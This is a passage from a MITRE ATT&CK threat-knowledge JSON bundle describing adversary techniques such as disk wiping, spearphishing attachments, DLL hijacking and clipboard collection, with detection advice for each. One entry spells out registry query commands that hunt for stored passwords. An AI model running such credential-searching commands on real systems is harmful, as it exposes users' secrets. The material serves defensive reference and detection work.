                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:19.765Z",
            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "created": "2020-03-02T19:05:18.137Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/001",
                    "external_id": "T1566.001"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:10:26.686Z",
            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1214",
                    "external_id": "T1214"
                },
                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:20.034Z",
            "name": "Credentials in Registry",
            "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97",
            "created": "2022-09-29T18:30:12.244Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/008",
                    "external_id": "T1027.008"
                },
                {
                    "source_name": "intezer stripped binaries elf files 2018",
                    "description": "Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"
                },
                {
                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
                },
                {
                    "source_name": "Mandiant golang stripped binaries explanation",
                    "description": "STEPHEN ECKELS. (2022, February 28). Ready, Set, Go \u2014 Golang Internals and Symbol Recovery. Retrieved September 29, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:18.337Z",
            "name": "Stripped Payloads",
            "description": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "created": "2020-02-12T14:09:53.107Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/001",
                    "external_id": "T1559.001"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:14.161Z",
            "name": "Component Object Model",
            "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Script: Script Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "created": "2020-03-13T18:11:08.357Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/001",
                    "external_id": "T1574.001"
                },
                {
                    "source_name": "Hijack DLLs CrowdStrike",
                    "description": " falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs \u2014 and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/"
                },
                {
                    "source_name": "kroll bpl",
                    "description": "Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.",
                    "url": "https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution"
                },
                {
                    "source_name": "Hexacorn DLL Hijacking",
                    "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.",
                    "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/"
                },
                {
                    "source_name": "microsoft remote preloading",
                    "description": "Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"
                },
                {
                    "source_name": "Microsoft - manifests/assembly",
                    "description": "Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft redirection",
                    "description": "Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"
                },
                {
                    "source_name": "dll pre load owasp",
                    "description": "OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.",
                    "url": "https://owasp.org/www-community/attacks/Binary_planting"
                },
                {
                    "source_name": "unit 42",
                    "description": "Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/"
                },
                {
                    "source_name": "Wietze Beukema DLL Hijacking",
                    "description": "Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.",
                    "url": "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T18:24:47.533Z",
            "name": "DLL",
            "description": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak",
                "Marina Liang",
                "Ami Holeston, CrowdStrike",
                "Will Alexander, CrowdStrike",
                "Wietze Beukema @Wietze"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Creation",
                "Module: Module Load",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "created": "2017-05-31T21:31:27.985Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1119",
                    "external_id": "T1119"
                },
                {
                    "source_name": "Mandiant UNC3944 SMS Phishing 2023",
                    "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:18.743Z",
            "name": "Automated Collection",
            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
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            "x_mitre_contributors": [
                "Praetorian",
                "Arun Seelagan, CISA"
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            "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Command: Command Execution",
                "File: File Access",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "created": "2017-05-31T21:31:25.967Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1115",
                    "external_id": "T1115"
                },
                {
                    "source_name": "CISA_AA21_200B",
                    "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"
                },
                {
                    "source_name": "mining_ruby_reversinglabs",
                    "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.",
                    "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"
                },
                {
                    "source_name": "clip_win_server",
                    "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"
                },
                {
                    "source_name": "MSDN Clipboard",
                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012"
                },
                {
                    "source_name": "Operating with EmPyre",
                    "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
                    "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"
                }
            ],
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            "modified": "2025-04-15T21:57:50.289Z",
            "name": "Clipboard Data",
            "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
            "created": "2020-02-11T18:46:24.434Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/007",
                    "external_id": "T1003.007"
                },
                {
                    "source_name": "atomic-red proc file system",
                    "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"
                },
                {
                    "source_name": "baeldung Linux proc map 2022",
                    "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.",
                    "url": "https://www.baeldung.com/linux/proc-id-maps"
                },
                {
                    "source_name": "Polop Linux PrivEsc Gitbook",
                    "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.",
                    "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"
